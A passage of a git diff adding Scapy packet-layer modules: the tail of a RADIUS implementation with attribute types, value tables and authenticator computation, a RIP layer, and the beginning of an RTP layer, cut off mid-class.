+    132: "Requested-Location-Info",
+    133: "Framed-Management-Protocol",
+    134: "Management-Transport-Protection",
+    135: "Management-Policy-Id",
+    136: "Management-Privilege-Level",
+    137: "PKM-SS-Cert",
+    138: "PKM-CA-Cert",
+    139: "PKM-Config-Settings",
+    140: "PKM-Cryptosuite-List",
+    141: "PKM-SAID",
+    142: "PKM-SA-Descriptor",
+    143: "PKM-Auth-Key",
+    144: "DS-Lite-Tunnel-Name",
+    145: "Mobile-Node-Identifier",
+    146: "Service-Selection",
+    147: "PMIP6-Home-LMA-IPv6-Address",
+    148: "PMIP6-Visited-LMA-IPv6-Address",
+    149: "PMIP6-Home-LMA-IPv4-Address",
+    150: "PMIP6-Visited-LMA-IPv4-Address",
+    151: "PMIP6-Home-HN-Prefix",
+    152: "PMIP6-Visited-HN-Prefix",
+    153: "PMIP6-Home-Interface-ID",
+    154: "PMIP6-Visited-Interface-ID",
+    155: "PMIP6-Home-IPv4-HoA",
+    156: "PMIP6-Visited-IPv4-HoA",
+    157: "PMIP6-Home-DHCP4-Server-Address",
+    158: "PMIP6-Visited-DHCP4-Server-Address",
+    159: "PMIP6-Home-DHCP6-Server-Address",
+    160: "PMIP6-Visited-DHCP6-Server-Address",
+    161: "PMIP6-Home-IPv4-Gateway",
+    162: "PMIP6-Visited-IPv4-Gateway",
+    163: "EAP-Lower-Layer",
+    164: "GSS-Acceptor-Service-Name",
+    165: "GSS-Acceptor-Host-Name",
+    166: "GSS-Acceptor-Service-Specifics",
+    167: "GSS-Acceptor-Realm-Name",
+    168: "Framed-IPv6-Address",
+    169: "DNS-Server-IPv6-Address",
+    170: "Route-IPv6-Information",
+    171: "Delegated-IPv6-Prefix-Pool",
+    172: "Stateful-IPv6-Address-Pool",
+    173: "IPv6-6rd-Configuration",
+    174: "Allowed-Called-Station-Id",
+    175: "EAP-Peer-Id",
+    176: "EAP-Server-Id",
+    177: "Mobility-Domain-Id",
+    178: "Preauth-Timeout",
+    179: "Network-Id-Name",
+    180: "EAPoL-Announcement",
+    181: "WLAN-HESSID",
+    182: "WLAN-Venue-Info",
+    183: "WLAN-Venue-Language",
+    184: "WLAN-Venue-Name",
+    185: "WLAN-Reason-Code",
+    186: "WLAN-Pairwise-Cipher",
+    187: "WLAN-Group-Cipher",
+    188: "WLAN-AKM-Suite",
+    189: "WLAN-Group-Mgmt-Cipher",
+    190: "WLAN-RF-Band",
+    191: "Unassigned",
+}
+
+
+class RadiusAttribute(Packet):
+    """
+    Implements a RADIUS attribute (RFC 2865). Every specific RADIUS attribute
+    class should inherit from this one.
+    """
+
+    name = "Radius Attribute"
+    fields_desc = [
+        ByteEnumField("type", 1, _radius_attribute_types),
+        FieldLenField("len", None, "value", "B",
+                      adjust=lambda pkt, x: len(pkt.value) + 2),
+        StrLenField("value", "", length_from=lambda pkt: pkt.len - 2)
+    ]
+
+    registered_attributes = {}
+
+    @classmethod
+    def register_variant(cls):
+        """
+        Registers the RADIUS attributes defined in this module.
+        """
+
+        if hasattr(cls, "val"):
+            cls.registered_attributes[cls.val] = cls
+        else:
+            cls.registered_attributes[cls.type.default] = cls
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        """
+        Returns the right RadiusAttribute class for the given data.
+        """
+
+        if _pkt:
+            attr_type = orb(_pkt[0])
+            return cls.registered_attributes.get(attr_type, cls)
+        return cls
+
+    def haslayer(self, cls):
+        if cls == "RadiusAttribute":
+            if isinstance(self, RadiusAttribute):
+                return True
+        elif issubclass(cls, RadiusAttribute):
+            if isinstance(self, cls):
+                return True
+        return super(RadiusAttribute, self).haslayer(cls)
+
+    def getlayer(self, cls, nb=1, _track=None, _subclass=True, **flt):
+        return super(RadiusAttribute, self).getlayer(cls, nb=nb, _track=_track,
+                                                     _subclass=True, **flt)
+
+    def post_build(self, p, pay):
+        length = self.len
+        if length is None:
+            length = len(p)
+            p = p[:1] + struct.pack("!B", length) + p[2:]
+        return p
+
+
+class _SpecificRadiusAttr(RadiusAttribute):
+    """
+    Class from which every "specific" RADIUS attribute defined in this module
+    inherits.
+    """
+
+    __slots__ = ["val"]
+
+    def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields):
+        super(_SpecificRadiusAttr, self).__init__(
+            _pkt,
+            post_transform,
+            _internal,
+            _underlayer
+        )
+        self.fields["type"] = self.val
+        name_parts = self.__class__.__name__.split('RadiusAttr_')
+        if len(name_parts) < 2:
+            raise Scapy_Exception(
+                "Invalid class name: {}".format(self.__class__.__name__)
+            )
+        self.name = name_parts[1].replace('_', '-')
+
+
+#
+# RADIUS attributes which values are 4 bytes integers
+#
+
+class _RadiusAttrIntValue(_SpecificRadiusAttr):
+    """
+    Implements a RADIUS attribute which value field is 4 bytes long integer.
+    """
+
+    fields_desc = [
+        ByteEnumField("type", 5, _radius_attribute_types),
+        ByteField("len", 6),
+        IntField("value", 0)
+    ]
+
+
+class RadiusAttr_NAS_Port(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 5
+
+
+class RadiusAttr_Framed_MTU(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 12
+
+
+class RadiusAttr_Login_TCP_Port(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 16
+
+
+class RadiusAttr_Session_Timeout(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 27
+
+
+class RadiusAttr_Idle_Timeout(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 28
+
+
+class RadiusAttr_Framed_AppleTalk_Link(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 37
+
+
+class RadiusAttr_Framed_AppleTalk_Network(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 38
+
+
+class RadiusAttr_Acct_Delay_Time(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 41
+
+
+class RadiusAttr_Acct_Input_Octets(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 42
+
+
+class RadiusAttr_Acct_Output_Octets(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 43
+
+
+class RadiusAttr_Acct_Session_Time(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 46
+
+
+class RadiusAttr_Acct_Input_Packets(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 47
+
+
+class RadiusAttr_Acct_Output_Packets(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 48
+
+
+class RadiusAttr_Acct_Link_Count(_RadiusAttrIntValue):
+    """RFC 2866"""
+    val = 51
+
+
+class RadiusAttr_Acct_Input_Gigawords(_RadiusAttrIntValue):
+    """RFC 2869"""
+    val = 52
+
+
+class RadiusAttr_Acct_Output_Gigawords(_RadiusAttrIntValue):
+    """RFC 2869"""
+    val = 53
+
+
+class RadiusAttr_Egress_VLANID(_RadiusAttrIntValue):
+    """RFC 4675"""
+    val = 56
+
+
+class RadiusAttr_Port_Limit(_RadiusAttrIntValue):
+    """RFC 2865"""
+    val = 62
+
+
+class RadiusAttr_ARAP_Security(_RadiusAttrIntValue):
+    """RFC 2869"""
+    val = 73
+
+
+class RadiusAttr_Password_Retry(_RadiusAttrIntValue):
+    """RFC 2869"""
+    val = 75
+
+
+class RadiusAttr_Tunnel_Preference(_RadiusAttrIntValue):
+    """RFC 2868"""
+    val = 83
+
+
+class RadiusAttr_Acct_Interim_Interval(_RadiusAttrIntValue):
+    """RFC 2869"""
+    val = 85
+
+
+class RadiusAttr_Acct_Tunnel_Packets_Lost(_RadiusAttrIntValue):
+    """RFC 2867"""
+    val = 86
+
+
+class RadiusAttr_Management_Privilege_Level(_RadiusAttrIntValue):
+    """RFC 5607"""
+    val = 136
+
+
+class RadiusAttr_Mobility_Domain_Id(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 177
+
+
+class RadiusAttr_Preauth_Timeout(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 178
+
+
+class RadiusAttr_WLAN_Venue_Info(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 182
+
+
+class RadiusAttr_WLAN_Reason_Code(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 185
+
+
+class RadiusAttr_WLAN_Pairwise_Cipher(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 186
+
+
+class RadiusAttr_WLAN_Group_Cipher(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 187
+
+
+class RadiusAttr_WLAN_AKM_Suite(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 188
+
+
+class RadiusAttr_WLAN_Group_Mgmt_Cipher(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 189
+
+
+class RadiusAttr_WLAN_RF_Band(_RadiusAttrIntValue):
+    """RFC 7268"""
+    val = 190
+
+
+#
+# RADIUS attributes which values are string (displayed as hex)
+#
+
+class _RadiusAttrHexStringVal(_SpecificRadiusAttr):
+    """
+    Implements a RADIUS attribute which value field is a string that will be
+    as a hex string.
+    """
+
+    __slots__ = ["val"]
+
+    def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields):
+        super(_RadiusAttrHexStringVal, self).__init__(
+            _pkt,
+            post_transform,
+            _internal,
+            _underlayer
+        )
+        self.fields["type"] = self.val
+        name_parts = self.__class__.__name__.split('RadiusAttr_')
+        if len(name_parts) < 2:
+            raise Scapy_Exception(
+                "Invalid class name: {}".format(self.__class__.__name__)
+            )
+        self.name = name_parts[1].replace('_', '-')
+
+    fields_desc = [
+        ByteEnumField("type", 24, _radius_attribute_types),
+        FieldLenField(
+            "len",
+            None,
+            "value",
+            "B",
+            adjust=lambda p, x: len(p.value) + 2
+        ),
+        XStrLenField("value", "", length_from=lambda p: p.len - 2 if p.len else 0)
+    ]
+
+
+class RadiusAttr_State(_RadiusAttrHexStringVal):
+    """RFC 2865"""
+    val = 24
+
+
+
+def prepare_packed_data(radius_packet, packed_req_authenticator):
+    """
+    Pack RADIUS data prior computing the authentication MAC
+    """
+
+    packed_hdr = struct.pack("!B", radius_packet.code)
+    packed_hdr += struct.pack("!B", radius_packet.id)
+    packed_hdr += struct.pack("!H", radius_packet.len)
+
+    packed_attrs = b''
+    for attr in radius_packet.attributes:
+        packed_attrs += raw(attr)
+
+    return packed_hdr + packed_req_authenticator + packed_attrs
+
+
+class RadiusAttr_Message_Authenticator(_RadiusAttrHexStringVal):
+    """RFC 2869"""
+    val = 80
+
+    fields_desc = [
+        ByteEnumField("type", 24, _radius_attribute_types),
+        FieldLenField(
+            "len",
+            18,
+            "value",
+            "B",
+        ),
+        XStrFixedLenField("value", "\x00" * 16, length=16)
+    ]
+
+    @staticmethod
+    def compute_message_authenticator(radius_packet, packed_req_authenticator,
+                                      shared_secret):
+        """
+        Computes the "Message-Authenticator" of a given RADIUS packet.
+        """
+
+        data = prepare_packed_data(radius_packet, packed_req_authenticator)
+        radius_hmac = hmac.new(shared_secret, data, hashlib.md5)
+
+        return radius_hmac.digest()
+
+#
+# RADIUS attributes which values are IPv4 prefixes
+#
+
+class _RadiusAttrIPv4AddrVal(RadiusAttribute):
+    """
+    Implements a RADIUS attribute which value field is an IPv4 address.
+    """
+
+    __slots__ = ["val"]
+
+    fields_desc = [
+        ByteEnumField("type", 4, _radius_attribute_types),
+        ByteField("len", 6),
+        IPField("value", "0.0.0.0")
+    ]
+
+
+class RadiusAttr_NAS_IP_Address(_RadiusAttrIPv4AddrVal):
+    """RFC 2865"""
+    val = 4
+
+
+class RadiusAttr_Framed_IP_Address(_RadiusAttrIPv4AddrVal):
+    """RFC 2865"""
+    val = 8
+
+
+class RadiusAttr_Framed_IP_Netmask(_RadiusAttrIPv4AddrVal):
+    """RFC 2865"""
+    val = 9
+
+
+class RadiusAttr_Login_IP_Host(_RadiusAttrIPv4AddrVal):
+    """RFC 2865"""
+    val = 14
+
+
+class RadiusAttr_Framed_IPX_Network(_RadiusAttrIPv4AddrVal):
+    """RFC 2865"""
+    val = 23
+
+
+class RadiusAttr_PMIP6_Home_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal):
+    """RFC 6572"""
+    val = 149
+
+
+class RadiusAttr_PMIP6_Visited_LMA_IPv4_Address(_RadiusAttrIPv4AddrVal):
+    """RFC 6572"""
+    val = 150
+
+
+class RadiusAttr_PMIP6_Home_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal):
+    """RFC 6572"""
+    val = 157
+
+
+class RadiusAttr_PMIP6_Visited_DHCP4_Server_Address(_RadiusAttrIPv4AddrVal):
+    """RFC 6572"""
+    val = 158
+
+
+class RadiusAttr_PMIP6_Home_IPv4_Gateway(_RadiusAttrIPv4AddrVal):
+    """RFC 6572"""
+    val = 161
+
+
+class RadiusAttr_PMIP6_Visited_IPv4_Gateway(_RadiusAttrIPv4AddrVal):
+    """RFC 6572"""
+    val = 162
+
+
+# See IANA registry "RADIUS Types"
+_radius_attrs_values = {
+    # Service-Type
+    6:
+    {
+        1: "Login",
+        2: "Framed",
+        3: "Callback Login",
+        4: "Callback Framed",
+        5: "Outbound",
+        6: "Administrative",
+        7: "NAS Prompt",
+        8: "Authenticate Only",
+        9: "Callback NAS Prompt",
+        10: "Call Check",
+        11: "Callback Administrative",
+        12: "Voice",
+        13: "Fax",
+        14: "Modem Relay",
+        15: "IAPP-Register",
+        16: "IAPP-AP-Check",
+        17: "Authorize Only",
+        18: "Framed-Management",
+        19: "Additional-Authorization"
+    },
+
+    # Framed-Protocol
+    7:
+    {
+        1: "PPP",
+        2: "SLIP",
+        3: "AppleTalk Remote Access Protocol (ARAP)",
+        4: "Gandalf proprietary SingleLink/MultiLink protocol",
+        5: "Xylogics proprietary IPX/SLIP",
+        6: "X.75 Synchronous",
+        7: "GPRS PDP Context"
+    },
+
+    # Framed-Routing
+    10:
+    {
+        0: "None",
+        1: "Send routing packets",
+        2: "Listen for routing packets",
+        3: "Send and Listen"
+    },
+
+    # Framed-Compression
+    13:
+    {
+        0: "None",
+        1: "VJ TCP/IP header compression",
+        2: "IPX header compression",
+        3: "Stac-LZS compression"
+    },
+
+    # Login-Service
+    15:
+    {
+        0: "Telnet",
+        1: "Rlogin",
+        2: "TCP Clear",
+        3: "PortMaster (proprietary)",
+        4: "LAT",
+        5: "X25-PAD",
+        6: "X25-T3POS",
+        7: "Unassigned",
+        8: "TCP Clear Quiet (suppresses any NAS-generated connect string)"
+    },
+
+    # Termination-Action
+    29:
+    {
+        0: "Default",
+        1: "RADIUS-Request"
+    },
+
+    # Acct-Status-Type
+    40:
+    {
+        1: "Start",
+        2: "Stop",
+        3: "Interim-Update",
+        4: "Unassigned",
+        5: "Unassigned",
+        6: "Unassigned",
+        7: "Accounting-On",
+        8: "Accounting-Off",
+        9: "Tunnel-Start",
+        10: "Tunnel-Stop",
+        11: "Tunnel-Reject",
+        12: "Tunnel-Link-Start",
+        13: "Tunnel-Link-Stop",
+        14: "Tunnel-Link-Reject",
+        15: "Failed"
+    },
+
+    # Acct-Authentic
+    45:
+    {
+        1: "RADIUS",
+        2: "Local",
+        3: "Remote",
+        4: "Diameter"
+    },
+
+    # Acct-Terminate-Cause
+    49:
+    {
+        1: "User Request",
+        2: "Lost Carrier",
+        3: "Lost Service",
+        4: "Idle Timeout",
+        5: "Session Timeout",
+        6: "Admin Reset",
+        7: "Admin Reboot",
+        8: "Port Error",
+        9: "NAS Error",
+        10: "NAS Request",
+        11: "NAS Reboot",
+        12: "Port Unneeded",
+        13: "Port Preempted",
+        14: "Port Suspended",
+        15: "Service Unavailable",
+        16: "Callback",
+        17: "User Error",
+        18: "Host Request",
+        19: "Supplicant Restart",
+        20: "Reauthentication Failure",
+        21: "Port Reinitialized",
+        22: "Port Administratively Disabled",
+        23: "Lost Power",
+    },
+
+    # NAS-Port-Type
+    61:
+    {
+        0: "Async",
+        1: "Sync",
+        2: "ISDN Sync",
+        3: "ISDN Async V.120",
+        4: "ISDN Async V.110",
+        5: "Virtual",
+        6: "PIAFS",
+        7: "HDLC Clear Channel",
+        8: "X.25",
+        9: "X.75",
+        10: "G.3 Fax",
+        11: "SDSL - Symmetric DSL",
+        12: "ADSL-CAP - Asymmetric DSL, Carrierless Amplitude Phase Modulation",
+        13: "ADSL-DMT - Asymmetric DSL, Discrete Multi-Tone",
+        14: "IDSL - ISDN Digital Subscriber Line",
+        15: "Ethernet",
+        16: "xDSL - Digital Subscriber Line of unknown type",
+        17: "Cable",
+        18: "Wireles - Other",
+        19: "Wireless - IEEE 802.11",
+        20: "Token-Ring",
+        21: "FDDI",
+        22: "Wireless - CDMA2000",
+        23: "Wireless - UMTS",
+        24: "Wireless - 1X-EV",
+        25: "IAPP",
+        26: "FTTP - Fiber to the Premises",
+        27: "Wireless - IEEE 802.16",
+        28: "Wireless - IEEE 802.20",
+        29: "Wireless - IEEE 802.22",
+        30: "PPPoA - PPP over ATM",
+        31: "PPPoEoA - PPP over Ethernet over ATM",
+        32: "PPPoEoE - PPP over Ethernet over Ethernet",
+        33: "PPPoEoVLAN - PPP over Ethernet over VLAN",
+        34: "PPPoEoQinQ - PPP over Ethernet over IEEE 802.1QinQ",
+        35: "xPON - Passive Optical Network",
+        36: "Wireless - XGP",
+        37: "WiMAX Pre-Release 8 IWK Function",
+        38: "WIMAX-WIFI-IWK: WiMAX WIFI Interworking",
+        39: "WIMAX-SFF: Signaling Forwarding Function for LTE/3GPP2",
+        40: "WIMAX-HA-LMA: WiMAX HA and or LMA function",
+        41: "WIMAX-DHCP: WIMAX DCHP service",
+        42: "WIMAX-LBS: WiMAX location based service",
+        43: "WIMAX-WVS: WiMAX voice service"
+    },
+
+    # Tunnel-Type
+    64:
+    {
+        1: "Point-to-Point Tunneling Protocol (PPTP)",
+        2: "Layer Two Forwarding (L2F)",
+        3: "Layer Two Tunneling Protocol (L2TP)",
+        4: "Ascend Tunnel Management Protocol (ATMP)",
+        5: "Virtual Tunneling Protocol (VTP)",
+        6: "IP Authentication Header in the Tunnel-mode (AH)",
+        7: "IP-in-IP Encapsulation (IP-IP)",
+        8: "Minimal IP-in-IP Encapsulation (MIN-IP-IP)",
+        9: "IP Encapsulating Security Payload in the Tunnel-mode (ESP)",
+        10: "Generic Route Encapsulation (GRE)",
+        11: "Bay Dial Virtual Services (DVS)",
+        12: "IP-in-IP Tunneling",
+        13: "Virtual LANs (VLAN)"
+    },
+
+    # Tunnel-Medium-Type
+    65:
+    {
+        1: "IPv4 (IP version 4)",
+        2: "IPv6 (IP version 6)",
+        3: "NSAP",
+        4: "HDLC (8-bit multidrop)",
+        5: "BBN 1822",
+        6: "802",
+        7: "E.163 (POTS)",
+        8: "E.164 (SMDS, Frame Relay, ATM)",
+        9: "F.69 (Telex)",
+        10: "X.121 (X.25, Frame Relay)",
+        11: "IPX",
+        12: "Appletalk",
+        13: "Decnet IV",
+        14: "Banyan Vine",
+        15: "E.164 with NSAP format subaddress"
+    },
+
+    # ARAP-Zone-Access
+    72:
+    {
+        1: "Only allow access to default zone",
+        2: "Use zone filter inclusively",
+        3: "Not used",
+        4: "Use zone filter exclusively"
+    },
+
+    # Prompt
+    76:
+    {
+        0: "No Echo",
+        1: "Echo"
+    },
+
+    # Error-Cause Attribute
+    101:
+    {
+        201: "Residual Session Context Removed",
+        202: "Invalid EAP Packet (Ignored)",
+        401: "Unsupported Attribute",
+        402: "Missing Attribute",
+        403: "NAS Identification Mismatch",
+        404: "Invalid Request",
+        405: "Unsupported Service",
+        406: "Unsupported Extension",
+        407: "Invalid Attribute Value",
+        501: "Administratively Prohibited",
+        502: "Request Not Routable (Proxy)",
+        503: "Session Context Not Found",
+        504: "Session Context Not Removable",
+        505: "Other Proxy Processing Error",
+        506: "Resources Unavailable",
+        507: "Request Initiated",
+        508: "Multiple Session Selection Unsupported",
+        509: "Location-Info-Required",
+        601: "Response Too Big"
+    },
+
+    # Operator Namespace Identifier - Attribute 126
+    126:
+    {
+        0x30: "TADIG",
+        0x31: "REALM",
+        0x32: "E212",
+        0x33: "ICC",
+        0xFF: "Reserved"
+    },
+
+    # Basic-Location-Policy-Rules
+    129:
+    {
+        0: "Retransmission allowed",
+    },
+
+    # Location-Capable
+    131:
+    {
+        1: "CIVIC_LOCATION",
+        2: "GEO_LOCATION",
+        4: "USERS_LOCATION",
+        8: "NAS_LOCATION"
+    },
+
+    # Framed-Management-Protocol
+    133:
+    {
+        1: "SNMP",
+        2: "Web-based",
+        3: "NETCONF",
+        4: "FTP",
+        5: "TFTP",
+        6: "SFTP",
+        7: "RCP",
+        8: "SCP"
+    },
+
+    # Management-Transport-Protection
+    134:
+    {
+        1: "No-Protection",
+        2: "Integrity-Protection",
+        3: "Integrity-Confidentiality-Protection",
+    },
+}
+
+
+class _RadiusAttrIntEnumVal(_SpecificRadiusAttr):
+    """
+    Implements a RADIUS attribute which value field is 4 bytes long integer.
+    """
+
+    __slots__ = ["val"]
+
+    fields_desc = [
+        ByteEnumField("type", 6, _radius_attribute_types),
+        ByteField("len", 6),
+        MultiEnumField(
+            "value",
+            0,
+            _radius_attrs_values,
+            depends_on=lambda p: p.type,
+            fmt="I"
+        )
+    ]
+
+
+class RadiusAttr_Service_Type(_RadiusAttrIntEnumVal):
+    """RFC 2865"""
+    val = 6
+
+
+class RadiusAttr_Framed_Protocol(_RadiusAttrIntEnumVal):
+    """RFC 2865"""
+    val = 7
+
+
+class RadiusAttr_NAS_Port_Type(_RadiusAttrIntEnumVal):
+    """RFC 2865"""
+    val = 61
+
+
+class _EAPPacketField(PacketField):
+
+    """
+    Handles EAP-Message attribute value (the actual EAP packet).
+    """
+
+    def m2i(self, pkt, m):
+        ret = None
+        eap_packet_len = struct.unpack("!H", m[2:4])[0]
+        if eap_packet_len < 254:
+            # If the EAP packet has not been fragmented, build a Scapy EAP
+            # packet from the data.
+            ret = EAP(m)
+        else:
+            ret = conf.raw_layer(m)
+        return ret
+
+
+class RadiusAttr_EAP_Message(RadiusAttribute):
+    """
+    Implements the "EAP-Message" attribute (RFC 3579).
+    """
+
+    name = "EAP-Message"
+    fields_desc = [
+        ByteEnumField("type", 79, _radius_attribute_types),
+        FieldLenField(
+            "len",
+            None,
+            "value",
+            "B",
+            adjust=lambda pkt, x: len(pkt.value) + 2
+        ),
+        _EAPPacketField("value", "", EAP)
+    ]
+
+
+class RadiusAttr_Vendor_Specific(RadiusAttribute):
+    """
+    Implements the "Vendor-Specific" attribute, as described in RFC 2865.
+    """
+
+    name = "Vendor-Specific"
+    fields_desc = [
+        ByteEnumField("type", 26, _radius_attribute_types),
+        FieldLenField(
+            "len",
+            None,
+            "value",
+            "B",
+            adjust=lambda pkt, x: len(pkt.value) + 8
+        ),
+        IntField("vendor_id", 0),
+        ByteField("vendor_type", 0),
+        FieldLenField(
+            "vendor_len",
+            None,
+            "value",
+            "B",
+            adjust=lambda p, x: len(p.value) + 2
+        ),
+        StrLenField("value", "", length_from=lambda p: p.vendor_len - 2)
+    ]
+
+
+class _RADIUSAttrPacketListField(PacketListField):
+    """
+    PacketListField handling a list of RADIUS attributes.
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        length = None
+        ret = ""
+
+        if self.length_from is not None:
+            length = self.length_from(pkt)
+
+        if length is not None:
+            remain, ret = s[:length], s[length:]
+
+        while remain:
+            attr_len = orb(remain[1])
+            current = remain[:attr_len]
+            remain = remain[attr_len:]
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain + ret, lst
+
+
+# See IANA RADIUS Packet Type Codes registry
+_packet_codes = {
+    1: "Access-Request",
+    2: "Access-Accept",
+    3: "Access-Reject",
+    4: "Accounting-Request",
+    5: "Accounting-Response",
+    6: "Accounting-Status (now Interim Accounting)",
+    7: "Password-Request",
+    8: "Password-Ack",
+    9: "Password-Reject",
+    10: "Accounting-Message",
+    11: "Access-Challenge",
+    12: "Status-Server (experimental)",
+    13: "Status-Client (experimental)",
+    21: "Resource-Free-Request",
+    22: "Resource-Free-Response",
+    23: "Resource-Query-Request",
+    24: "Resource-Query-Response",
+    25: "Alternate-Resource-Reclaim-Request",
+    26: "NAS-Reboot-Request",
+    27: "NAS-Reboot-Response",
+    28: "Reserved",
+    29: "Next-Passcode",
+    30: "New-Pin",
+    31: "Terminate-Session",
+    32: "Password-Expired",
+    33: "Event-Request",
+    34: "Event-Response",
+    40: "Disconnect-Request",
+    41: "Disconnect-ACK",
+    42: "Disconnect-NAK",
+    43: "CoA-Request",
+    44: "CoA-ACK",
+    45: "CoA-NAK",
+    50: "IP-Address-Allocate",
+    51: "IP-Address-Release",
+    52: "Protocol-Error",
+    250: "Experimental Use",
+    251: "Experimental Use",
+    252: "Experimental Use",
+    253: "Experimental Use",
+    254: "Reserved",
+    255: "Reserved"
+}
+
+
+class Radius(Packet):
+    """
+    Implements a RADIUS packet (RFC 2865).
+    """
+
+    name = "RADIUS"
+    fields_desc = [
+        ByteEnumField("code", 1, _packet_codes),
+        ByteField("id", 0),
+        FieldLenField(
+            "len",
+            None,
+            "attributes",
+            "H",
+            adjust=lambda pkt, x: len(pkt.attributes) + 20
+        ),
+        XStrFixedLenField("authenticator", "", 16),
+        _RADIUSAttrPacketListField(
+            "attributes",
+            [],
+            RadiusAttribute,
+            length_from=lambda pkt: pkt.len - 20
+        )
+    ]
+
+    def compute_authenticator(self, packed_request_auth, shared_secret):
+        """
+        Computes the authenticator field (RFC 2865 - Section 3)
+        """
+
+        data = prepare_packed_data(self, packed_request_auth)
+        radius_mac = hashlib.md5(data + shared_secret)
+        return radius_mac.digest()
+
+    def post_build(self, p, pay):
+        p += pay
+        length = self.len
+        if length is None:
+            length = len(p)
+            p = p[:2] + struct.pack("!H", length) + p[4:]
+        return p
+
+
+bind_layers(UDP, Radius, sport=1812)
+bind_layers(UDP, Radius, dport=1812)
+bind_layers(UDP, Radius, sport=1813)
+bind_layers(UDP, Radius, dport=1813)
diff --git a/scapy/layers/rip.py b/scapy/layers/rip.py
new file mode 100644
index 0000000..643dde2
--- /dev/null
+++ b/scapy/layers/rip.py
@@ -0,0 +1,74 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+RIP (Routing Information Protocol).
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import UDP
+
+class RIP(Packet):
+    name = "RIP header"
+    fields_desc = [
+        ByteEnumField("cmd", 1, {1:"req", 2:"resp", 3:"traceOn", 4:"traceOff",
+                                 5:"sun", 6:"trigReq", 7:"trigResp", 8:"trigAck",
+                                 9:"updateReq", 10:"updateResp", 11:"updateAck"}),
+        ByteField("version", 1),
+        ShortField("null", 0),
+        ]
+
+    def guess_payload_class(self, payload):
+        if payload[:2] == b"\xff\xff":
+            return RIPAuth
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+class RIPEntry(RIP):
+    name = "RIP entry"
+    fields_desc = [
+        ShortEnumField("AF", 2, {2:"IP"}),
+        ShortField("RouteTag", 0),
+        IPField("addr", "0.0.0.0"),
+        IPField("mask", "0.0.0.0"),
+        IPField("nextHop", "0.0.0.0"),
+        IntEnumField("metric", 1, {16:"Unreach"}),
+        ]
+
+class RIPAuth(Packet):
+    name = "RIP authentication"
+    fields_desc = [
+        ShortEnumField("AF", 0xffff, {0xffff:"Auth"}),
+        ShortEnumField("authtype", 2, {1:"md5authdata", 2:"simple", 3:"md5"}),
+        ConditionalField(StrFixedLenField("password", None, 16),
+                                        lambda pkt: pkt.authtype == 2),
+        ConditionalField(ShortField("digestoffset", 0),
+                                        lambda pkt: pkt.authtype == 3),
+        ConditionalField(ByteField("keyid", 0),
+                                        lambda pkt: pkt.authtype == 3),
+        ConditionalField(ByteField("authdatalen", 0),
+                                        lambda pkt: pkt.authtype == 3),
+        ConditionalField(IntField("seqnum", 0),
+                                        lambda pkt: pkt.authtype == 3),
+        ConditionalField(StrFixedLenField("zeropad", None, 8),
+                                        lambda pkt: pkt.authtype == 3),
+        ConditionalField(StrLenField("authdata", None,
+                                length_from=lambda pkt: pkt.md5datalen),
+                                        lambda pkt: pkt.authtype == 1)
+        ]
+
+    def pre_dissect(self, s):
+        if s[2:4] == b"\x00\x01":
+            self.md5datalen = len(s) - 4
+
+        return s
+
+
+bind_layers( UDP,           RIP,           sport=520)
+bind_layers( UDP,           RIP,           dport=520)
+bind_layers( RIP,           RIPEntry,      )
+bind_layers( RIPEntry,      RIPEntry,      )
+bind_layers( RIPAuth,       RIPEntry,      )
diff --git a/scapy/layers/rtp.py b/scapy/layers/rtp.py
new file mode 100644
index 0000000..96afc75
--- /dev/null
+++ b/scapy/layers/rtp.py
@@ -0,0 +1,49 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+RTP (Real-time Transport Protocol).
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+
+_rtp_payload_types = {
+    # http://www.iana.org/assignments/rtp-parameters
+    0:  'G.711 PCMU',    3:  'GSM',
+    4:  'G723',          5:  'DVI4',
+    6:  'DVI4',          7:  'LPC',
+    8:  'PCMA',          9:  'G722',
+    10: 'L16',           11: 'L16',
+    12: 'QCELP',         13: 'CN',
+    14: 'MPA',           15: 'G728',
+    16: 'DVI4',          17: 'DVI4',
+    18: 'G729',          25: 'CelB',
+    26: 'JPEG',          28: 'nv',
+    31: 'H261',          32: 'MPV',
+    33: 'MP2T',          34: 'H263' }
+
+
+class RTPExtension(Packet):
+    name = "RTP extension"
+    fields_desc = [ ShortField("header_id", 0),
+                    FieldLenField("header_len", None, count_of="header", fmt="H"),
+                    FieldListField('header', [], IntField("hdr", 0), count_from=lambda pkt: pkt.header_len) ]
+
+
+class RTP(Packet):
+    name="RTP"
